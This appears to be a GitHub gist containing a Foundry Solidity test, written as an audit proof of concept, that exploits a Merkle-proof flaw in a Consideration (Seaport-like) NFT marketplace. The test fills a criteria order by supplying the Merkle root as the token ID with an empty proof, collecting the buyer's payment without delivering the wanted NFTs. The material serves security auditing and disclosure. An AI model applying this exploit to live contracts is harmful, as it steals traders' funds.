Skip to content

Instantly share code, notes, and snippets.

@MrToph
Created May 31, 2022 09:02
Show Gist options
  • Save MrToph/ccf5ec112b481e70dbf275aa0a3a02d6 to your computer and use it in GitHub Desktop.
Save MrToph/ccf5ec112b481e70dbf275aa0a3a02d6 to your computer and use it in GitHub Desktop.
FOUNDRY_PROFILE=local-ffi forge test --match-contract BugMerkleTree -vv
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import { OrderType, BasicOrderType, ItemType, Side } from "../../contracts/lib/ConsiderationEnums.sol";
import { AdditionalRecipient } from "../../contracts/lib/ConsiderationStructs.sol";
import { ConsiderationInterface } from "../../contracts/interfaces/ConsiderationInterface.sol";
import { AdvancedOrder, OfferItem, OrderParameters, ConsiderationItem, OrderComponents, BasicOrderParameters, CriteriaResolver } from "../../contracts/lib/ConsiderationStructs.sol";
import { BaseOrderTest } from "./utils/BaseOrderTest.sol";
import { TestERC721 } from "../../contracts/test/TestERC721.sol";
import { TestERC1155 } from "../../contracts/test/TestERC1155.sol";
import { TestERC20 } from "../../contracts/test/TestERC20.sol";
import { ProxyRegistry } from "./interfaces/ProxyRegistry.sol";
import { OwnableDelegateProxy } from "./interfaces/OwnableDelegateProxy.sol";
import { Merkle } from "murky/Merkle.sol";
import { ConsiderationEventsAndErrors } from "../../contracts/interfaces/ConsiderationEventsAndErrors.sol";
import { ArithmeticUtil } from "./utils/ArithmeticUtil.sol";
import "forge-std/console.sol";
contract BugMerkleTree is BaseOrderTest {
struct Context {
ConsiderationInterface consideration;
bytes32 tokenCriteria;
uint256 paymentAmount;
address zone;
bytes32 zoneHash;
uint256 salt;
}
function hashHashes(bytes32 hash1, bytes32 hash2)
internal
returns (bytes32)
{
// see MerkleProof.verify
bytes memory encoding;
if (hash1 <= hash2) {
encoding = abi.encodePacked(hash1, hash2);
} else {
encoding = abi.encodePacked(hash2, hash1);
}
return keccak256(encoding);
}
function testMerkleTreeBug() public resetTokenBalancesBetweenRuns {
// Alice wants to buy NFT ID 1 or 2 for token1. compute merkle tree
bytes32 leafLeft = bytes32(uint256(1));
bytes32 leafRight = bytes32(uint256(2));
bytes32 merkleRoot = hashHashes(leafLeft, leafRight);
console.logBytes32(merkleRoot);
Context memory context = Context(
consideration,
merkleRoot, /* tokenCriteria */
1e18, /* paymentAmount */
address(0), /* zone */
bytes32(0), /* zoneHash */
uint256(0) /* salt */
);
bytes32 conduitKey = bytes32(0);
token1.mint(address(alice), context.paymentAmount);
// @audit assume there's a token where anyone can acquire IDs. smaller IDs are more valuable
// we acquire the merkle root ID
test721_1.mint(address(this), uint256(merkleRoot));
_configureERC20OfferItem(
// start, end
context.paymentAmount, context.paymentAmount
);
_configureConsiderationItem(
ItemType.ERC721_WITH_CRITERIA,
address(test721_1),
// @audit set merkle root for NFTs we want to accept
uint256(context.tokenCriteria), /* identifierOrCriteria */
1,
1,
alice
);
OrderParameters memory orderParameters = OrderParameters(
address(alice),
context.zone,
offerItems,
considerationItems,
OrderType.FULL_OPEN,
block.timestamp,
block.timestamp + 1000,
context.zoneHash,
context.salt,
conduitKey,
considerationItems.length
);
OrderComponents memory orderComponents = getOrderComponents(
orderParameters,
context.consideration.getNonce(alice)
);
bytes32 orderHash = context.consideration.getOrderHash(orderComponents);
bytes memory signature = signOrder(
context.consideration,
alicePk,
orderHash
);
delete offerItems;
delete considerationItems;
/*************** ATTACK STARTS HERE ***************/
AdvancedOrder memory advancedOrder = AdvancedOrder(
orderParameters,
1, /* numerator */
1, /* denominator */
signature,
""
);
// resolve the merkle root token ID itself
CriteriaResolver[] memory cr = new CriteriaResolver[](1);
bytes32[] memory proof = new bytes32[](0);
cr[0] = CriteriaResolver(
0, // uint256 orderIndex;
Side.CONSIDERATION, // Side side;
0, // uint256 index; (item)
uint256(merkleRoot), // uint256 identifier;
proof // bytes32[] criteriaProof;
);
uint256 profit = token1.balanceOf(address(this));
context.consideration.fulfillAdvancedOrder{
value: context.paymentAmount
}(advancedOrder, cr, bytes32(0));
profit = token1.balanceOf(address(this)) - profit;
// @audit could fulfill order without owning NFT 1 or 2
assertEq(profit, context.paymentAmount);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment